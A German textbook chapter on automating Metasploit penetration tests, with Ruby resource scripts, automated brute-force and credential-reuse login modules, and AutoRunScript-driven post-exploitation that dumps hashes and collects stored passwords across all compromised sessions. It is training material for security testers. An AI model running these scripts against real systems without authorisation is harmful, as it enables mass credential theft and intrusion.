6.6 Erweiterte Metasploit-Resource-Skripte

Mit Metasploit-Resource-Skripten lässt sich eine Vielzahl unterschiedlichster Aufgaben sehr elegant und weitgehend automatisiert lösen. Im einfachsten Fall werden Metasploit-Kommandos in Textdateien geschrieben und Metasploit arbeitet diese Befehle der Reihe nach ab. Mit den Ruby-Tags `<ruby>` bzw. `</ruby>` kann zudem beliebiger Ruby-Code in diesen Skripten genutzt werden. Diese Möglichkeiten wurden bereits in Abschnitt 6.2 dargestellt.

Mit weiterem Ruby-Code lassen sich beispielsweise folgendermaßen alle Hosts und Services durchlaufen und jeweils ausgeben. In Listing 6–32 werden in der ersten Zeile alle vorhandenen Hosts mit der `each`-Methode durchlaufen, und in der zweiten Zeile werden die jeweiligen Services der einzelnen Hosts durchlaufen. In Zeile 3 lassen sich weitere Aktionen mit der aktuellen IP und dem aktuellen Port durchführen. Im dargestellten Fall wird die IP-Adresse des Hosts und die aktuelle Portnummer mit einem `print_line` Kommando ausgegeben.

```
framework.db.hosts.each do |host|
       host.services.each do |serv|
          print_line("#{host.address} - Port: #{serv.port.to_i}")
       end
end
```

Listing 6–32 *Hosts und Services durchlaufen*

Benötigt man die Methoden, die beispielsweise von `serv` zur Verfügung gestellt werden, können diese mit `print_line(serv.methods.to_s)` ausgegeben werden.

Um alle vorhandenen Credentials abzurufen, ist es häufig hilfreich, erst zu ermitteln, welche Methoden von `creds` unterstützt werden:

```
framework.db.creds.each do |creds|
       print_line("#{creds.methods.to_s}")# Abruf der möglichen Methoden
       return # nur eine einmalige Ausgabe der Methoden
end
```

Listing 6–33 *Credentials durchlaufen*

An der Ausgabe dieses Skriptes ist erkennbar, dass auf die User mit `creds.user` und auf die Passwörter mit `creds.pass` zugegriffen werden kann. Im nächsten Schritt wird die `return`-Zeile entfernt und die Ausgabezeile wird beispielsweise folgendermaßen angepasst:

```
print_line("User: #{creds.user} / Pass: #{creds.pass}")
```

Sollen in einem solchen Resource-Skript typische Metasploit-Kommandos innerhalb des Ruby-Blockes genutzt werden, bietet sich der Ruby-Befehl `run_single` dazu an.

Folgendes Resource-Skript läuft alle Hosts und Services durch und löscht geschlossene Ports aus der Datenbank:

```
<ruby>
counter = 0
framework.db.hosts.each do |host|
       host.services.each do |serv|
          next if not serv.host
          if (serv.state != ServiceState::Open)
                print_line("cleaning Port: #{serv.port.to_i} on
#{host.address}")
                run_single("services -d -p #{serv.port.to_i} -r #{serv.proto}
                #{host.address}")
                counter = counter + 1
                next
          end
       end
end
print_line("cleaned #{counter} closed ports")
</ruby>
```

Listing 6–34 *portcleaner.rc*

Die Variable `counter` wird zu Beginn des Skriptes auf null gesetzt und bei jedem geschlossenen Port hochgezählt. Dadurch ist zum Abschluss des Skriptes ein Überblick über die Gesamtanzahl der gelöschten Ports möglich. In diesem Skript ist auch sehr gut erkennbar, wie typische Metasploit-Kommandos mit dynamischen Variablen kombiniert werden können. Das `services`-Kommando wird automatisch mit dem Port, dem Protokoll (TCP/UDP) und der Adresse des zu löschenden Eintrages bestückt.

Als weiterer Anwendungsfall dient das Kommando `db_nmap`. Während alle Metasploit-Scanning-Module die `RHOSTS`-Variable auswerten, funktioniert dies bei `db_nmap` nicht, und für einen Scanvorgang mit Nmap muss der Zieladressbereich immer manuell im Nmap-Kommando mit angegeben werden. Mit einem kleinen Resource-Skript lässt sich allerdings relativ einfach Abhilfe schaffen.

```
<ruby>
nmapopts = "-sSV –F -O"
print_line("Module: db_nmap")
run_single("db_nmap -v -n #{nmapopts} #{framework.datastore['RHOSTS']}")
</ruby>
```

Listing 6–35 *Einfaches portscan.rc-Skript*

Dieses Skript bietet umfangreiches Optimierungspozential. Eine erweiterte Version dieses Skriptes findet sich im Metasploit-Ordner `scripts/resource`.

Weitere Metasploit-Resource-Skripte

Zudem finden sich in diesem Ordner Skripte, die unterschiedlichste Aufgaben eines Pentests mit einem Resource-Skript automatisieren. Folgender Auszug stellt einen Überblick der vorhandenen Skripte dar:

- *Portscan-Skript – portscan.rc*

Automatisiert den Portscan mit `db_nmap` oder mit dem internen TCP-Portscanner von Metasploit. Dieses Skript wertet die globale Option `RHOSTS` für den Zieladressbereich aus. Zudem lassen sich mit `NMAPOPTS` spezielle Nmap-Optionen setzen, und mit einer globalen `VERBOSE`-Option ist es möglich, den Verbose-Modus zu aktivieren. Soll statt Nmap das interne Metasploit-Modul zur Anwendung kommen, lässt sich die globale Variable `NMAP` auf `false` stellen.

- *Discovery-Skript – basic_discovery.rc*

Dieses Skript ist eine erweiterte Form des dargestellten Portscanning-Skriptes. Es wird zusätzlich zu einem Portscan noch eine Vielzahl weiterer Metasploit-Module zur Anwendung gebracht. Mit diesem Discovery-Vorgang lassen sich neben Systemen und Services auch umfangreiche Serviceinformationen, Schwachstellen, User und vieles mehr ermitteln.

- *Crawling von Webapplikationen – autocrawler.rc*

Dieses Skript nutzt das Metasploit-Modul `crawler`, um die Struktur der Webseiten von bereits ermittelten Webservern in der Datenbank zu hinterlegen. Dazu durchläuft es alle Hosts und Services und sucht nach Servicenamen, die `http` beinhalten. Dieses Skript wird in Abschnitt 7.1 im Detail dargestellt.

- *Automatisches Passwort-Bruteforce-Skript – auto_brute.rc*

Mit diesem Skript lassen sich bereits ermittelte System- und Serviceinformationen auf vorhandene Login-Services durchsuchen und automatische Bruteforce-Vorgänge starten. Derzeit werden automatisch folgende Module genutzt:

- auxiliary/scanner/smb/smb_login
- auxiliary/scanner/ftp/anonymous
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/vnc/vnc_login
- auxiliary/scanner/mssql/mssql_login
- auxiliary/scanner/pop3/pop3_login
- auxiliary/scanner/postgres/postgres_login

Wichtig: Diese voll automatisierte Analyse von Login-Services birgt die Gefahr, dass Locking-Mechanismen nicht erkannt werden und dementsprechend Benutzer ausgesperrt werden.

- *Wmap-Webapplikationsprüfung – wmap_autotest.rc*

Die bisherigen Skripte haben die zu analysierende Umgebung erfasst und bereits erste Bruteforce-Vorgänge eingeleitet. Im nächsten Schritt lassen sich beispielsweise die vorhandenen Webserver einer weiteren Analyse unterziehen. Metasploit bietet dafür das Wmap-Plugin (siehe Abschnitt 7.1.2), das mit diesem Resource-Skript nahezu vollständig automatisierbar ist. Es werden automatisch alle erkannten Webserver aus der Datenbank gesucht und mit Wmap auf Schwachstellen analysiert. Dieses Skript wird in Abschnitt 7.1 im Detail betrachtet.

- *Automatisches Prüfen ermittelter Credentials – auto_cred_checker.rc*

User haben häufig die Angewohnheit, Passwörter mehrfach zu verwenden. Die bereits erkannten Passwörter sollten dementsprechend im Rahmen weiterer Tests gegen jeden möglichen Login-Service im zu analysierenden Netzwerk geprüft werden. Unter Umständen öffnet ein bereits ermitteltes Credential-Set über einen weiteren Service Zugriff auf andere Systeme. Dieser Vorgang gestaltet sich typischerweise überaus langwierig und fehleranfällig. Mit diesem Skript ist es möglich, die bereits ermittelten Credentials der Metasploit-Datenbank abzufragen und diese mit folgenden Modulen automatisch gegen das restliche Netzwerk zum Einsatz zu bringen:

- `auxiliary/scanner/smb/smb_login`
- `auxiliary/scanner/ftp/ftp_login`
- `auxiliary/scanner/ssh/ssh_login`
- `auxiliary/scanner/telnet/telnet_login`
- `auxiliary/scanner/mysql/mysql_login`
- `auxiliary/scanner/vnc/vnc_login`
- `auxiliary/scanner/mssql/mssql_login`
- `auxiliary/scanner/pop3/pop3_login`
- `auxiliary/scanner/postgres/postgres_login`

Das Resource-Skript ist überaus einfach anzuwenden und hat als Konfigurationsoption ausschließlich den `VERBOSE`-Parameter. Es werden die bereits erkannten Passwörter der Reihe nach durchlaufen und automatisiert gegen alle dargestellten Login-Services getestet.

Für weitere Informationen und eigene Tests sei auf die bestehenden Skripte verwiesen. Diese Skripte zeigen umfangreiche Möglichkeiten, die Ruby-Skripte im Metasploit-Framework bieten, und lassen sich häufig erweitern oder als Vorlage verwenden.

6.7 Automatisierungsmöglichkeiten in der Post-Exploitation-Phase

Schon in Kapitel 5 wurde die hohe Relevanz der Post-Exploitation-Phase detailliert betrachtet. Viele der typischen Post-Exploitation-Tätigkeiten werden bereits durch den integrierten Meterpreter-Befehlssatz und mit den mitgelieferten Meterpreter-Skripten weitgehend automatisiert und vereinfacht.

Ist es beispielsweise im Rahmen eines umfangreichen Penetrationstests möglich, eine hohe Anzahl an Systemzugriffen zu erlangen, müssen die übernommenen Systeme im nächsten Schritt analysiert werden. Eine solche Analyse ist typischerweise mit entsprechendem Aufwand verbunden. Dabei muss eine Verbindung zu jedem System aufgebaut werden, die wichtigen Informationen müssen eingeholt und im Anschluss offline analysiert und ausgewertet werden.

6.7.1 Erste Möglichkeit: über die erweiterten Payload-Optionen

Vorhandene Funktionalitäten des in Kapitel 4.2.1 dargestellten Session-Managements unterstützen diese Tätigkeiten bereits weitreichend. Die Post-Exploitation-Phase muss dabei allerdings auf dem System manuell angestoßen werden. Oftmals ist es äußerst hilfreich, wenn gewisse Tätigkeiten zur Informationsgewinnung wie auch zur Sicherstellung des weiteren Systemzugriffs nach einem erfolgreichen Zugriff vollkommen automatisch eingeleitet werden. Beispielsweise ist ein vollständig automatischer Vorgang der Prozessmigration bei Client-Side-Angriffen durchaus von Vorteil und verhindert, dass eine Session durch User-Interaktion abgebrochen wird.

Metasploit ermöglicht eine solche Automatisierung über erweiterte Optionen des Payloads. Zu diesen zählen die Optionen `AutoRunScript` und `InitialAutoRunScript`, wie auch `AutoLoadStdapi` und `AutoSystemInfo`.

```
Payload advanced options (windows/meterpreter/reverse_tcp):

   Name           : AutoLoadStdapi
   Current Setting: true
   Description    : Automatically load the Stdapi extension

   Name           : AutoRunScript
   Current Setting:
   Description    : A script to run automatically on session creation.

   Name           : AutoSystemInfo
   Current Setting: true
   Description    : Automatically capture system information on initialization.

   Name           : InitialAutoRunScript
   Current Setting:
```

```
   Description    : An initial script to run on session creation (before
                    AutoRunScript)
<snip>
```

Listing 6–36 *Automatisierte Post-Exploitation-Phase*

Meterpreter umfasst zudem die Post-Exploitation-Skripte `multiscript` und `multi_console_command`, die im Anschluss an einen erfolgreichen Exploiting-Vorgang imstande sind, mehrere Meterpreter- und Systemskripte automatisch zur Ausführung zu bringen.

```
meterpreter > run multiscript
Multi Script Execution Meterpreter-Skript

OPTIONS:

    -cl <opt>  Collection of scripts to execute. Each script command must be
               enclosed in double quotes and separated by a semicolon.
    -h         Help menu.
    -rc <opt>  Text file with list of commands, one per line.
```

Listing 6–37 *Hilfsfunktion und Funktionsweise von »multiscript«*

Sollen gewisse Skripte ausschließlich für einen Exploit ausgeführt werden, muss die `AutoRunScript`-Option lokal in dem jeweiligen Exploit-Modul gesetzt werden. Um diese Option global für alle Module und Payloads zu setzen, lässt sich mit `setg` beispielsweise folgendes Kommando im globalen Datastore ablegen:

```
msf > setg AutoRunScript "multiscript -cl
"checkvm";"credcollect";"enum_shares";"get_env";"winenum""
```

Hinweis: Mit **`setg`** ohne weiteren Parameter ist es möglich, den globalen Datastore anzuzeigen; mit **`set`** im Modulmodus werden sowohl die globalen Optionen wie auch die lokalen Moduloptionen ausgegeben.

Ab sofort werden, im Anschluss an einen erfolgreichen Exploiting-Vorgang, die definierten Skripte automatisch zur Ausführung gebracht.

```
<snip>
[*] Meterpreter-Session 1 opened (10.8.28.8:4444 -> 10.8.28.218:1056) at Thu
Feb 03 11:33:21 +0100 2011
[*] Session ID 1 (10.8.28.8:4444 -> 10.8.28.218:1056) processing AutoRunScript
'multiscript -cl checkvm;credcollect;enum_shares;get_env;winenum'
[*] Running Multiscript script.....
<snip>
```

Listing 6–38 *Exploiting-Vorgang mit AutoRunScript*

Wird die so erstellte Konfiguration mit dem Befehl `save` gespeichert, kommt es in Zukunft zu einem automatischen Ladevorgang dieser Einstellungen und somit zu einer automatisierten ersten Post-Exploitation-Phase.

```
root@bt:~# cat /root/.msf3/config
[framework/core]
AutoRunScript=multiscript -cl checkvm;credcollect;enum_shares;get_env;winenum
```

Listing 6–39 *Metasploit-Konfiguration mit AutoRunScript*

Das Multiscript-Meterpreter-Skript ist durch die Option `-rc` imstande, ein vorab erstelltes Resource-File zu laden. Ein einfaches Skript zur Informationsgewinnung ist in folgendem Listing 6–40 dargestellt.

```
multi_console_command -cl ipconfig
multi_console_command -cl whoami
get_local_subnets
getcountermeasure
checkvm
domain_list_gen
credcollect
enum_shares
get_env
enum_powershell_env
enum_logged_on_users -c
enum_logged_on_users -l
enum_firefox
enum_chrome
enum_vmware
event_manager -i
get_application_list
get_filezilla_creds
get_pidgin_creds
get_valid_community
getvncpw
winenum
```

Listing 6–40 *Post Exploitation – Multiscript-Beispiel RC-File*

Dieses Skript lässt sich beispielsweise im Metasploit-Root-Ordner ablegen und folgendermaßen global laden:

```
msf > setg AutoRunScript multiscript –rc /path_to/post-exploitation.rc
```

Wie auch bereits in diesem Abschnitt dargestellt wurde, ist es möglich, dieses Kommando in der Startkonfiguration von Metasploit abzulegen und dadurch bei jedem Start des Frameworks automatisch zu laden und bei jeder neuen Meterpreter-Session auszuführen.

6.7.2 Zweite Möglichkeit: über das Session-Management

Eine weitere Möglichkeit ist das Session-Management, welches die einfache Anwendung unterschiedlicher Windows-Kommandos und Post-Exploitation-Module direkt über das Session-Management umsetzen lässt.

```
10.8.28.2 - (Sessions: 21 Jobs: 0)> sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
    -c <opt>  Run a command on the session given with -i, or all
<snip>
    -s <opt>  Run a script on the session given with -i, or all
```

Listing 6–41 *Hilfsfunktion des Session-Managements*

Systemkommandos:

Windows Systemkommandos lassen sich über das »*session*«-Kommando mit dem Parameter »*-c*« an alle oder an ausgewählte Sessions übergeben.

```
sessions -c ipconfig
```

Meterpreter Scripts:

Die eigentliche Stärke der Post-Exploitation-Phase erlangt Metasploit allerdings über Meterpreter- und Post-Exploitation-Skripte. Diese lassen sich mit dem Parameter »*-s*« für einzelne oder für alle Sessions anwenden. Um ein solches Skript nur auf eine ausgewählte Session anzuwenden, lässt sich diese mit dem Parameter »*-i <ID>*« angeben.

```
sessions -s checkvm
```

Die dargestellte Methode über das Session-Management wird allerdings nicht mehr vollständig unterstützt und entsprechend schlecht gewartet. Die Post-Exploitation-Module sind der eigentliche Weg, um diese Phase möglichst effektiv umzusetzen.

6.7.3 Dritte Möglichkeit: Post-Module

In Abschnitt 5.4 wurde bereits der Nachfolger der Meterpreter-Skripte, die Post-Exploitation-Skripte, dargestellt. Da sich diese Post-Exploitation-Module direkt über die Metasploit-Konsole nutzen lassen, ist es möglich, diese über die bereits mehrfach genutzten Resource-Files zu automatisieren. Folgendes Resource-File führt unterschiedlichste Post-Exploitation-Tätigkeiten zur Informationsgewinnung auf einem Windows-System vollständig automatisch durch.

```
setg SESSION 1      #oder auf der Konsole setzen und diese Zeile auskommentieren

use multi/gather/env
run -j
use windows/gather/checkvm
run -j
use windows/gather/credential_collector
run -j
<snip> weitere Module hinzufügen
```

Listing 6–42 *Post-Exploitation-Resource-File*

Die Ergebnisse dieser Tätigkeiten lassen sich mit den üblichen Datenbankkommandos `notes`, `creds` und `looted` abfragen.

Da es nicht möglich ist, alle vorhandenen Sessions dabei anzugeben, ist eine Automatisierung dieser Module nur bedingt möglich.

Post-Module mit erweiterten Skripten automatisieren

Eine Möglichkeit, um dieses Manko zu umgehen, beschreibt Mubix auf seinem Blog [133]. Mit grundlegendem Ruby-Kung-Fu lässt sich dieser Ansatz auch mit dem aktuellen Metasploit-Framework bewerkstelligen, und es ist dadurch auf einfache Weise möglich, in der IRB alle vorhandenen Sessions zu durchlaufen und ein ausgewähltes Modul zur Anwendung zu bringen. Soll dabei vorab überprüft werden, ob das Betriebssystem der aktuellen Session zum Modul passt, lässt sich das beispielsweise folgendermaßen mit einem Resource-File bewerkstelligen:

```
use post/windows/gather/hashdump
<ruby>
if(framework.sessions.length > 0)
        framework.sessions.each_key do |sid|
                session = framework.sessions[sid]
                if(session.platform =~ /win/)   #linux: linux, osx: osx
                        run_single("set SESSION #{sid}")
                        run_single("run")
                end
                sleep 1
        end
else
        print_error("no sessions available")
end
</ruby>
```

Listing 6–43 *Resource-Skript zu Post-Exploitation-Skripten*

Dieser Code wird in eine Textdatei geschrieben und diese lässt sich zukünftig mit dem *resource*-Kommando aufrufen. Jedes Modul, das in Zukunft im Rahmen der Post-Exploitation-Phase automatisch genutzt werden soll, muss in dieses Re-

source-File eingetragen und mit dem dargestellten Codeblock ergänzt werden. Das Modul wird somit mit dem »*use*«-Befehl ausgewählt, anschließend wird mit den Ruby-Tags in den Ruby Modus (IRB) gewechselt, wo mit dem dargestellten Codeblock alle Sessions durchlaufen und bei passender Session (*session.patform* entspricht in diesem Fall dem Ausdruck »*win*«) das Modul zur Ausführung gebracht wird. Werden Post-Exploitation-Module für Linux-Systeme genutzt, muss *session.platform* auf »*linux*« geprüft werden und bei OS-X-Systemen entsprechend auf »*osx*«.

Mit dieser Methode ist es sehr einfach möglich, die umfassende Post-Exploitation-Phase weitgehend automatisiert durchzuführen und sich im Anschluss mit der Auswertung der eingeholten Informationen zu beschäftigen.

Meterpreter-Kommandos mit erweiterten Skripten automatisieren

Neben den Post-Exploitation-Modulen sind häufig bereits die grundlegenden Meterpreter-Kommandos als erster Schritt dieser Phase überaus hilfreich. Damit der Pentester nicht auf die bekannten und geliebten Funktionen verzichten muss, ist es möglich, diese in ähnlicher Form wie Post-Exploitation-Module mit etwas Ruby-Code in allen Sessions automatisch zur Anwendung zu bringen.

Im folgenden Skript wird erst der *session.type* geprüft, ob es sich bei der aktuellen Session um eine Meterpreter-Session handelt. Ist dies der Fall, wird der Rest des Codes abgearbeitet. Mit »*session.console.run_single*« ist es im Anschluss möglich, typische Meterpreter-Kommandos in der jeweiligen Session auszuführen.

```
<ruby>
if(framework.sessions.length > 0)
        print_status("starting with post exploitation meterpreter commands")
        print_line
        framework.sessions.each_key do |sid|
                session = framework.sessions[sid]
                if(session.type == "meterpreter")
                        ips = session.tunnel_peer.split(":")
                        print_line
                        print_status("Session ID: #{sid} - IP: #{ips[0]}")
                        print_line
                        session.console.run_single("sysinfo")
                        print_line
                        print_status("   User ID:")
                        print_line
                        session.console.run_single("getuid")
                        print_line
                        #<snip> hier kommen weitere Meterpreter Befehle
                end
        end
        sleep 1
else
```

```
        print_error("no sessions available")
end
</ruby>
```

Listing 6–44 *Meterpreter-Kommandos in einem Resource-File nutzen*

Wurde die Metasploit-Konsole wie in Abschnitt 2.9 mit den Logging-Funktionen korrekt konfiguriert, lassen sich die eingeholten Informationen über die Logdatei *console.log* auswerten.

Weitere Post-Module zur Anwendung bringen:

Metasploit umfasst derzeit knapp 290 Post-Exploitation-Module, die unterschiedlichste Tätigkeiten dieser Phase vereinfachen oder erst ermöglichen. Diese Module sind mit dem Post-Exploitation-Modul »*multi_post*« auf alle oder einzelne aktive Sessions anwendbar.

6.8 Zusammenfassung

Um Penetrationstests möglichst effektiv zu gestalten, kommen unterschiedlichste Automatisierungsmechanismen zum Einsatz. Neben einer weitgehend automatisierten Pre-Exploitation-Phase, die mit dem Einsatz von Ruby-Skripten und Resource-Files ermöglicht wird, lassen sich verschiedene externe Scanner wie Nmap als Portscanner oder Nessus und NeXpose als Vulnerability-Scanner einsetzen. Diese Tools können entweder direkt über Metasploit-Erweiterungsmodule in das Framework integriert und von der Metasploit-Konsole aus gesteuert werden, oder die Ergebnisse eines Scanvorgangs werden in die Metasploit-Datenbank importiert. Sobald die Informationen solcher Schwachstellenscans im Framework verfügbar sind, ist es möglich, eindeutige IDs der gefundenen Schwachstellen automatisch auf passende und verfügbare Exploits zu analysieren. Konnten dabei mögliche Exploits ermittelt werden, lassen sie sich im weiteren Verlauf mit den Metasploit-Mechanismen automatisch zur Anwendung bringen.

Im Anschluss an einen erfolgreichen Exploiting-Vorgang werden typischerweise Informationen des Systems eingeholt, die erlangten Privilegien erweitert und weitere Systeme angegriffen. Speziell der Post-Exploitation-Vorgang der Informationsgewinnung lässt sich unter Zuhilfenahme von Meterpreter- und Post-Exploitation-Skripten in Kombination mit Resource-Skripten weitgehend automatisieren.

Der Einsatz unterschiedlichster Automatisierungsmechanismen gibt dem Pentester die Möglichkeit, erheblich zielgerichtetere Angriffe durchzuführen und dadurch das vorhandene Sicherheitsniveau bzw. Angriffspotenzial wesentlich schneller und korrekter abzuschätzen.